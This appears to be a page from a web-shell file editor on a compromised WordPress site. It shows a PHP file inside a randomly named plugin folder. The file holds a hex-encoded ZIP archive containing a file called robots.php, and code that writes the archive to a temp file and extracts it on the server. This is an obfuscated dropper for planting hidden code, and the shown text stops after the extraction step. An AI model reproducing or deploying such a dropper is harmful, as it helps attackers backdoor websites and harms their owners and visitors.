Edit File by line
/home/barbar84/www/wp-conte.../plugins/sujqvwi/AnonR/smanonr..../tmp/extracte...
File: part1.txt
<?php
[0] Fix | Delete
[1] Fix | Delete
$hexContent = "504b03041400000008008c26bd58a92f05937b000000c40000000a000000726f626f74732e706870b3b12fc82850482d4bccd1e05200027d2dad782d2d7d85d2a29c94d4e4fc94540d2555e33455e354254d053d2e052848cbcc498d4f4f2d894fcecf2b49cd2b29d6804b613704451a59895246494941b195be7e41627149aa5e6e25d0c4c43cbdbcd4127d134b33535313bd928a122514ed9a5c0896a6b582bd1d00504b01021f001400000008008c26bd58a92f05937b000000c40000000a0024000000000000002000000000000000726f626f74732e7068700a002000000000000100180080a4619d7bb1da012bc1591148b2da012bc1591148b2da01504b050600000000010001005c000000a30000000000";
[2] Fix | Delete
$binaryContent = hex2bin($hexContent);
[3] Fix | Delete
$tempFile = tempnam(sys_get_temp_dir(), 'zip_temp_');
[4] Fix | Delete
file_put_contents($tempFile, $binaryContent);
[5] Fix | Delete
$zip = new ZipArchive;
[6] Fix | Delete
if ($zip->open($tempFile) === true) {
[7] Fix | Delete
$extractToFolder = sys_get_temp_dir() . '/' . uniqid('extracted_zip_');
[8] Fix | Delete
$zip->extractTo($extractToFolder);
[9] Fix | Delete
$zip->close();
[10] Fix | Delete
[11] Fix | Delete
It is recommended that you Edit text format, this type of Fix handles quite a lot in one request
Function